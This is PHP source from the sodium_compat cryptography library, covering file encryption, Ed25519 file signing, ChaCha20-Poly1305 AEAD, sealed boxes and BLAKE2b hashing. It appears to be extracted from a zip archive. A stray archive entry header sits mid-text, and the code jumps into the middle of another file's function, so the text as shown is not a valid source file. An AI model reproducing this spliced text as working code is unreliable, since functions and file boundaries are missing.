@param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt($ifp, $ofp, $mlen, $nonce, $key) { if (PHP_INT_SIZE === 4) { return self::secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key); } $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core_Salsa20::salsa20( 64, ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * @param ParagonIE_Sodium_Core_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify( ParagonIE_Sodium_Core_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; $iter += $incr; } $res = ParagonIE_Sodium_Core_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * Update a hash context with the contents of a file, without * loading the entire file into memory. * * @param resource|HashContext $hash * @param resource $fp * @param int $size * @return resource|object Resource on PHP < 7.2, HashContext object on PHP >= 7.2 * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument * PHP 7.2 changes from a resource to an object, * which causes Psalm to complain about an error. * @psalm-suppress TypeCoercion * Ditto. */ public static function updateHashWithFile($hash, $fp, $size = 0) { /* Type checks: */ if (PHP_VERSION_ID < 70200) { if (!is_resource($hash)) { throw new TypeError('Argument 1 must be a resource, ' . gettype($hash) . ' given.'); } } else { if (!is_object($hash)) { throw new TypeError('Argument 1 must be an object (PHP 7.2+), ' . gettype($hash) . ' given.'); } } if (!is_resource($fp)) { throw new TypeError('Argument 2 must be a resource, ' . gettype($fp) . ' given.'); } if (!is_int($size)) { throw new TypeError('Argument 3 must be an integer, ' . gettype($size) . ' given.'); } /** @var int $originalPosition */ $originalPosition = self::ftell($fp); // Move file pointer to beginning of file fseek($fp, 0, SEEK_SET); for ($i = 0; $i < $size; $i += self::BUFFER_SIZE) { /** @var string|bool $message */ $message = fread( $fp, ($size - $i) > self::BUFFER_SIZE ? $size - $i : self::BUFFER_SIZE ); if (!is_string($message)) { throw new SodiumException('Unexpected error reading from file.'); } /** @var string $message */ /** @psalm-suppress InvalidArgument */ self::hash_update($hash, $message); } // Reset file pointer's position fseek($fp, $originalPosition, SEEK_SET); return $hash; } /** * Sign a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_detached(), but produces * the same result. (32-bit) * * @param string $filePath Absolute path to a file on the filesystem * @param string $secretKey Secret signing key * * @return string Ed25519 signature * @throws SodiumException * @throws TypeError */ private static function sign_core32($filePath, $secretKey) { $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var string $az */ $az = hash('sha512', self::substr($secretKey, 0, 32), true); $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $nonceHash = hash_final($hs, true); $pk = self::substr($secretKey, 32, 32); $nonce = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = ParagonIE_Sodium_Core32_Ed25519::ge_p3_tobytes( ParagonIE_Sodium_Core32_Ed25519::ge_scalarmult_base($nonce) ); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); $hramHash = hash_final($hs, true); $hram = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hramHash); $sigAfter = ParagonIE_Sodium_Core32_Ed25519::sc_muladd($hram, $az, $nonce); /** @var string $sig */ $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } fclose($fp); return $sig; } /** * * Verify a file (rather than a string). Uses less memory than * ParagonIE_Sodium_Compat::crypto_sign_verify_detached(), but * produces the same result. (32-bit) * * @param string $sig Ed25519 signature * @param string $filePath Absolute path to a file on the filesystem * @param string $publicKey Signing public key * * @return bool * @throws SodiumException * @throws Exception */ public static function verify_core32($sig, $filePath, $publicKey) { /* Security checks */ if (ParagonIE_Sodium_Core32_Ed25519::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (ParagonIE_Sodium_Core32_Ed25519::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($publicKey[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var int|bool $size */ $size = filesize($filePath); if (!is_int($size)) { throw new SodiumException('Could not obtain the file size'); } /** @var int $size */ /** @var resource|bool $fp */ $fp = fopen($filePath, 'rb'); if (!is_resource($fp)) { throw new SodiumException('Could not open input file for reading'); } /** @var resource $fp */ /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = ParagonIE_Sodium_Core32_Ed25519::ge_frombytes_negate_vartime($publicKey); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($publicKey, 0, 32)); /** @var resource $hs */ $hs = self::updateHashWithFile($hs, $fp, $size); /** @var string $hDigest */ $hDigest = hash_final($hs, true); /** @var string $h */ $h = ParagonIE_Sodium_Core32_Ed25519::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = ParagonIE_Sodium_Core32_Ed25519::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = ParagonIE_Sodium_Core32_Ed25519::ge_tobytes($R); // Close the file handle fclose($fp); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * Encrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_encrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $plaintext = fread($ifp, 32); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $first32 = self::ftell($ifp); /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = str_repeat("\x00", 32); /** @var int $mlen - Length of the plaintext message */ $mlen0 = $mlen; if ($mlen0 > 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES) { $mlen0 = 64 - ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES; } $block0 .= ParagonIE_Sodium_Core32_Util::substr($plaintext, 0, $mlen0); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor( $block0, $realNonce, $subkey ); $state = new ParagonIE_Sodium_Core32_Poly1305_State( ParagonIE_Sodium_Core32_Util::substr( $block0, 0, ParagonIE_Sodium_Crypto::onetimeauth_poly1305_KEYBYTES ) ); // Pre-write 16 blank bytes for the Poly1305 tag $start = self::ftell($ofp); fwrite($ofp, str_repeat("\x00", 16)); /** @var string $c */ $cBlock = ParagonIE_Sodium_Core32_Util::substr( $block0, ParagonIE_Sodium_Crypto::secretbox_xsalsa20poly1305_ZEROBYTES ); $state->update($cBlock); fwrite($ofp, $cBlock); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ fseek($ifp, $first32, SEEK_SET); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $plaintext = fread($ifp, $blockSize); if (!is_string($plaintext)) { throw new SodiumException('Could not read input file'); } $cBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $plaintext, $realNonce, $iter, $subkey ); fwrite($ofp, $cBlock, $blockSize); $state->update($cBlock); $mlen -= $blockSize; $iter += $incr; } try { ParagonIE_Sodium_Compat::memzero($block0); ParagonIE_Sodium_Compat::memzero($subkey); } catch (SodiumException $ex) { $block0 = null; $subkey = null; } $end = self::ftell($ofp); /* * Write the Poly1305 authentication tag that provides integrity * over the ciphertext (encrypt-then-MAC) */ fseek($ofp, $start, SEEK_SET); fwrite($ofp, $state->finish(), ParagonIE_Sodium_Compat::CRYPTO_SECRETBOX_MACBYTES); fseek($ofp, $end, SEEK_SET); unset($state); return true; } /** * Decrypt a file (32-bit) * * @param resource $ifp * @param resource $ofp * @param int $mlen * @param string $nonce * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ protected static function secretbox_decrypt_core32($ifp, $ofp, $mlen, $nonce, $key) { $tag = fread($ifp, 16); if (!is_string($tag)) { throw new SodiumException('Could not read input file'); } /** @var string $subkey */ $subkey = ParagonIE_Sodium_Core32_HSalsa20::hsalsa20($nonce, $key); /** @var string $realNonce */ $realNonce = ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8); /** @var string $block0 */ $block0 = ParagonIE_Sodium_Core32_Salsa20::salsa20( 64, ParagonIE_Sodium_Core32_Util::substr($nonce, 16, 8), $subkey ); /* Verify the Poly1305 MAC -before- attempting to decrypt! */ $state = new ParagonIE_Sodium_Core32_Poly1305_State(self::substr($block0, 0, 32)); if (!self::onetimeauth_verify_core32($state, $ifp, $tag, $mlen)) { throw new SodiumException('Invalid MAC'); } /* * Set the cursor to the end of the first half-block. All future bytes will * generated from salsa20_xor_ic, starting from 1 (second block). */ $first32 = fread($ifp, 32); if (!is_string($first32)) { throw new SodiumException('Could not read input file'); } $first32len = self::strlen($first32); fwrite( $ofp, self::xorStrings( self::substr($block0, 32, $first32len), self::substr($first32, 0, $first32len) ) ); $mlen -= 32; /** @var int $iter */ $iter = 1; /** @var int $incr */ $incr = self::BUFFER_SIZE >> 6; /* Decrypts ciphertext, writes to output file. */ while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $pBlock = ParagonIE_Sodium_Core32_Salsa20::salsa20_xor_ic( $ciphertext, $realNonce, $iter, $subkey ); fwrite($ofp, $pBlock, $blockSize); $mlen -= $blockSize; $iter += $incr; } return true; } /** * One-time message authentication for 32-bit systems * * @param ParagonIE_Sodium_Core32_Poly1305_State $state * @param resource $ifp * @param string $tag * @param int $mlen * @return bool * @throws SodiumException * @throws TypeError */ protected static function onetimeauth_verify_core32( ParagonIE_Sodium_Core32_Poly1305_State $state, $ifp, $tag = '', $mlen = 0 ) { /** @var int $pos */ $pos = self::ftell($ifp); while ($mlen > 0) { $blockSize = $mlen > self::BUFFER_SIZE ? self::BUFFER_SIZE : $mlen; $ciphertext = fread($ifp, $blockSize); if (!is_string($ciphertext)) { throw new SodiumException('Could not read input file'); } $state->update($ciphertext); $mlen -= $blockSize; } $res = ParagonIE_Sodium_Core32_Util::verify_16($tag, $state->finish()); fseek($ifp, $pos, SEEK_SET); return $res; } /** * @param resource $resource * @return int * @throws SodiumException */ private static function ftell($resource) { $return = ftell($resource); if (!is_int($return)) { throw new SodiumException('ftell() returned false'); } return (int) $return; } } PK(L[lsrc/SodiumException.phpnu[update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305 * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::stream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update($ciphertext); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $adlen - Length of associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var int $len - Length of message (ciphertext + MAC) */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $clen - Length of ciphertext */ $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES; /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); /** @var string $mac - Message authentication code */ $mac = ParagonIE_Sodium_Core_Util::substr( $message, $len - self::aead_chacha20poly1305_IETF_ABYTES, self::aead_chacha20poly1305_IETF_ABYTES ); /** @var string $ciphertext - The encrypted message (sans MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr( $message, 0, $len - self::aead_chacha20poly1305_IETF_ABYTES ); /* Recalculate the Poly1305 authentication tag (MAC): */ $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen)); $computed_mac = $state->finish(); /* Compare the given MAC with the recalculated MAC: */ if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) { throw new SodiumException('Invalid MAC'); } // Here, we know that the MAC is valid, so we decrypt and return the plaintext return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $ciphertext, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_chacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { /** @var int $len - Length of the plaintext message */ $len = ParagonIE_Sodium_Core_Util::strlen($message); /** @var int $adlen - Length of the associated data */ $adlen = ParagonIE_Sodium_Core_Util::strlen($ad); /** @var string The first block of the chacha20 keystream, used as a poly1305 key */ $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream( 32, $nonce, $key ); $state = new ParagonIE_Sodium_Core_Poly1305_State($block0); try { ParagonIE_Sodium_Compat::memzero($block0); } catch (SodiumException $ex) { $block0 = null; } /** @var string $ciphertext - Raw encrypted data */ $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc( $message, $nonce, $key, ParagonIE_Sodium_Core_Util::store64_le(1) ); $state->update($ad); $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf))); $state->update($ciphertext); $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf))); $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen)); $state->update(ParagonIE_Sodium_Core_Util::store64_le($len)); return $ciphertext . $state->finish(); } /** * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_decrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey); } /** * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $ad * @param string $nonce * @param string $key * @return string * @throws SodiumException * @throws TypeError */ public static function aead_xchacha20poly1305_ietf_encrypt( $message = '', $ad = '', $nonce = '', $key = '' ) { $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20( ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16), $key ); $nonceLast = "\x00\x00\x00\x00" . ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8); return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey); } /** * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512) * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $key * @return string * @throws TypeError */ public static function auth($message, $key) { return ParagonIE_Sodium_Core_Util::substr( hash_hmac('sha512', $message, $key, true), 0, 32 ); } /** * HMAC-SHA-512-256 validation. Constant-time via hash_equals(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $mac * @param string $message * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function auth_verify($mac, $message, $key) { return ParagonIE_Sodium_Core_Util::hashEquals( $mac, self::auth($message, $key) ); } /** * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $plaintext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box($plaintext, $nonce, $keypair) { $c = self::secretbox( $plaintext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); return $c; } /** * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $publicKey * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal($message, $publicKey) { /** @var string $ephemeralKeypair */ $ephemeralKeypair = self::box_keypair(); /** @var string $ephemeralSK */ $ephemeralSK = self::box_secretkey($ephemeralKeypair); /** @var string $ephemeralPK */ $ephemeralPK = self::box_publickey($ephemeralKeypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair - The combined keypair used in crypto_box() */ $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey); /** @var string $ciphertext Ciphertext + MAC from crypto_box */ $ciphertext = self::box($message, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($ephemeralKeypair); ParagonIE_Sodium_Compat::memzero($ephemeralSK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $ephemeralKeypair = null; $ephemeralSK = null; $nonce = null; } return $ephemeralPK . $ciphertext; } /** * Opens a message encrypted via box_seal(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_seal_open($message, $keypair) { /** @var string $ephemeralPK */ $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32); /** @var string $ciphertext (ciphertext + MAC) */ $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32); /** @var string $secretKey */ $secretKey = self::box_secretkey($keypair); /** @var string $publicKey */ $publicKey = self::box_publickey($keypair); /** @var string $nonce */ $nonce = self::generichash( $ephemeralPK . $publicKey, '', 24 ); /** @var string $keypair */ $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK); /** @var string $m */ $m = self::box_open($ciphertext, $nonce, $keypair); try { ParagonIE_Sodium_Compat::memzero($secretKey); ParagonIE_Sodium_Compat::memzero($ephemeralPK); ParagonIE_Sodium_Compat::memzero($nonce); } catch (SodiumException $ex) { $secretKey = null; $ephemeralPK = null; $nonce = null; } return $m; } /** * Used by crypto_box() to get the crypto_secretbox() key. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sk * @param string $pk * @return string * @throws SodiumException * @throws TypeError */ public static function box_beforenm($sk, $pk) { return ParagonIE_Sodium_Core_HSalsa20::hsalsa20( str_repeat("\x00", 16), self::scalarmult($sk, $pk) ); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @return string * @throws Exception * @throws SodiumException * @throws TypeError */ public static function box_keypair() { $sKey = random_bytes(32); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @param string $seed * @return string * @throws SodiumException * @throws TypeError */ public static function box_seed_keypair($seed) { $sKey = ParagonIE_Sodium_Core_Util::substr( hash('sha512', $seed, true), 0, 32 ); $pKey = self::scalarmult_base($sKey); return $sKey . $pKey; } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @param string $pKey * @return string * @throws TypeError */ public static function box_keypair_from_secretkey_and_publickey($sKey, $pKey) { return ParagonIE_Sodium_Core_Util::substr($sKey, 0, 32) . ParagonIE_Sodium_Core_Util::substr($pKey, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_secretkey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== 64) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 0, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $keypair * @return string * @throws RangeException * @throws TypeError */ public static function box_publickey($keypair) { if (ParagonIE_Sodium_Core_Util::strlen($keypair) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_KEYPAIRBYTES bytes long.' ); } return ParagonIE_Sodium_Core_Util::substr($keypair, 32, 32); } /** * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $sKey * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function box_publickey_from_secretkey($sKey) { if (ParagonIE_Sodium_Core_Util::strlen($sKey) !== ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES) { throw new RangeException( 'Must be ParagonIE_Sodium_Compat::CRYPTO_BOX_SECRETKEYBYTES bytes long.' ); } return self::scalarmult_base($sKey); } /** * Decrypt a message encrypted with box(). * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ciphertext * @param string $nonce * @param string $keypair * @return string * @throws SodiumException * @throws TypeError */ public static function box_open($ciphertext, $nonce, $keypair) { return self::secretbox_open( $ciphertext, $nonce, self::box_beforenm( self::box_secretkey($keypair), self::box_publickey($keypair) ) ); } /** * Calculate a BLAKE2b hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $message * @param string|null $key * @param int $outlen * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash($message, $key = '', $outlen = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { /** @var SplFixedArray $k */ $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $in */ $in = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($message); /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outlen); ParagonIE_Sodium_Core_BLAKE2b::update($ctx, $in, $in->count()); /** @var SplFixedArray $out */ $out = new SplFixedArray($outlen); $out = ParagonIE_Sodium_Core_BLAKE2b::finish($ctx, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Finalize a BLAKE2b hashing context, returning the hash. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $ctx * @param int $outlen * @return string * @throws SodiumException * @throws TypeError */ public static function generichash_final($ctx, $outlen = 32) { if (!is_string($ctx)) { throw new TypeError('Context must be a string'); } $out = new SplFixedArray($outlen); /** @var SplFixedArray $context */ $context = ParagonIE_Sodium_Core_BLAKE2b::stringToContext($ctx); /** @var SplFixedArray $out */ $out = ParagonIE_Sodium_Core_BLAKE2b::finish($context, $out); /** @var array */ $outArray = $out->toArray(); return ParagonIE_Sodium_Core_Util::intArrayToString($outArray); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init($key = '', $outputLength = 32) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } /** @var SplFixedArray $ctx */ $ctx = ParagonIE_Sodium_Core_BLAKE2b::init($k, $outputLength); return ParagonIE_Sodium_Core_BLAKE2b::contextToString($ctx); } /** * Initialize a hashing context for BLAKE2b. * * @internal Do not use this directly. Use ParagonIE_Sodium_Compat. * * @param string $key * @param int $outputLength * @param string $salt * @param string $personal * @return string * @throws RangeException * @throws SodiumException * @throws TypeError */ public static function generichash_init_salt_personal( $key = '', $outputLength = 32, $salt = '', $personal = '' ) { // This ensures that ParagonIE_Sodium_Core_BLAKE2b::$iv is initialized ParagonIE_Sodium_Core_BLAKE2b::pseudoConstructor(); $k = null; if (!empty($key)) { $k = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($key); if ($k->count() > ParagonIE_Sodium_Core_BLAKE2b::KEYBYTES) { throw new RangeException('Invalid key size'); } } if (!empty($salt)) { $s = ParagonIE_Sodium_Core_BLAKE2b::stringToSplFixedArray($salt); } 